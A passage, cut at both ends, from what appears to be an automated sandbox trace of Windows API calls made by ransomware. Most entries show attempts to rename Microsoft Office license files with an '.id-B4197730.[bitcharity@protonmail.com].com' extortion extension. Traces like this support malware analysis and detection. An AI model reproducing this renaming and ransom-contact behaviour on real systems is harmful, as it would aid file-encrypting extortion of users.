lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.109] CloseHandle (hObject=0x11d0) returned 1 [0251.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0251.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0251.109] lstrlenW (lpString=".doc") returned 4 [0251.109] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.109] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.110] CloseHandle (hObject=0x11d0) returned 1 [0251.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0251.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0251.110] lstrlenW (lpString=".doc") returned 4 [0251.110] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.110] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.111] CloseHandle (hObject=0x11d0) returned 1 [0251.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0251.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0251.111] lstrlenW (lpString=".doc") returned 4 [0251.112] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.112] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.112] CloseHandle (hObject=0x11d0) returned 1 [0251.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0251.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0251.112] lstrlenW (lpString=".doc") returned 4 [0251.113] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.113] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.113] CloseHandle (hObject=0x11d0) returned 1 [0251.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0251.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0251.113] lstrlenW (lpString=".doc") returned 4 [0251.114] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.114] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.114] CloseHandle (hObject=0x11d0) returned 1 [0251.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0251.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0251.114] lstrlenW (lpString=".doc") returned 4 [0251.115] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.115] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.115] CloseHandle (hObject=0x11d0) returned 1 [0251.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0251.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0251.115] lstrlenW (lpString=".doc") returned 4 [0251.116] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.116] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.116] CloseHandle (hObject=0x11d0) returned 1 [0251.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0251.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0251.116] lstrlenW (lpString=".doc") returned 4 [0251.117] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.117] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.117] CloseHandle (hObject=0x11d0) returned 1 [0251.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0251.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0251.118] lstrlenW (lpString=".doc") returned 4 [0251.118] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.341] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.342] CloseHandle (hObject=0x11d0) returned 1 [0251.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0251.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0251.342] lstrlenW (lpString=".doc") returned 4 [0251.346] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.346] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.347] CloseHandle (hObject=0x11d0) returned 1 [0251.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0251.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0251.347] lstrlenW (lpString=".doc") returned 4 [0251.348] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.348] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.348] CloseHandle (hObject=0x11d0) returned 1 [0251.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0251.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0251.349] lstrlenW (lpString=".doc") returned 4 [0251.349] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.349] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.350] CloseHandle (hObject=0x11d0) returned 1 [0251.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0251.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0251.350] lstrlenW (lpString=".doc") returned 4 [0251.355] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.355] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.356] CloseHandle (hObject=0x1234) returned 1 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0251.356] lstrlenW (lpString=".doc") returned 4 [0251.357] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.357] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.358] CloseHandle (hObject=0x1234) returned 1 [0251.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0251.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0251.358] lstrlenW (lpString=".doc") returned 4 [0251.359] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.359] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.359] CloseHandle (hObject=0x1234) returned 1 [0251.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0251.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0251.360] lstrlenW (lpString=".doc") returned 4 [0251.361] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.361] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.361] CloseHandle (hObject=0x1234) returned 1 [0251.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0251.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0251.362] lstrlenW (lpString=".doc") returned 4 [0251.362] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.363] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.363] CloseHandle (hObject=0x1234) returned 1 [0251.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0251.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0251.364] lstrlenW (lpString=".doc") returned 4 [0251.364] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.364] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.369] CloseHandle (hObject=0x1234) returned 1 [0251.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0251.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0251.370] lstrlenW (lpString=".doc") returned 4 [0251.371] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.371] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.371] CloseHandle (hObject=0x1234) returned 1 [0251.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0251.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0251.372] lstrlenW (lpString=".doc") returned 4 [0251.372] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.373] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.373] CloseHandle (hObject=0x1234) returned 1 [0251.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0251.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0251.374] lstrlenW (lpString=".doc") returned 4 [0251.375] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.375] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.375] CloseHandle (hObject=0x1234) returned 1 [0251.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0251.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0251.376] lstrlenW (lpString=".doc") returned 4 [0251.376] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.376] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.377] CloseHandle (hObject=0x1234) returned 1 [0251.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0251.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0251.377] lstrlenW (lpString=".doc") returned 4 [0251.378] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.378] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 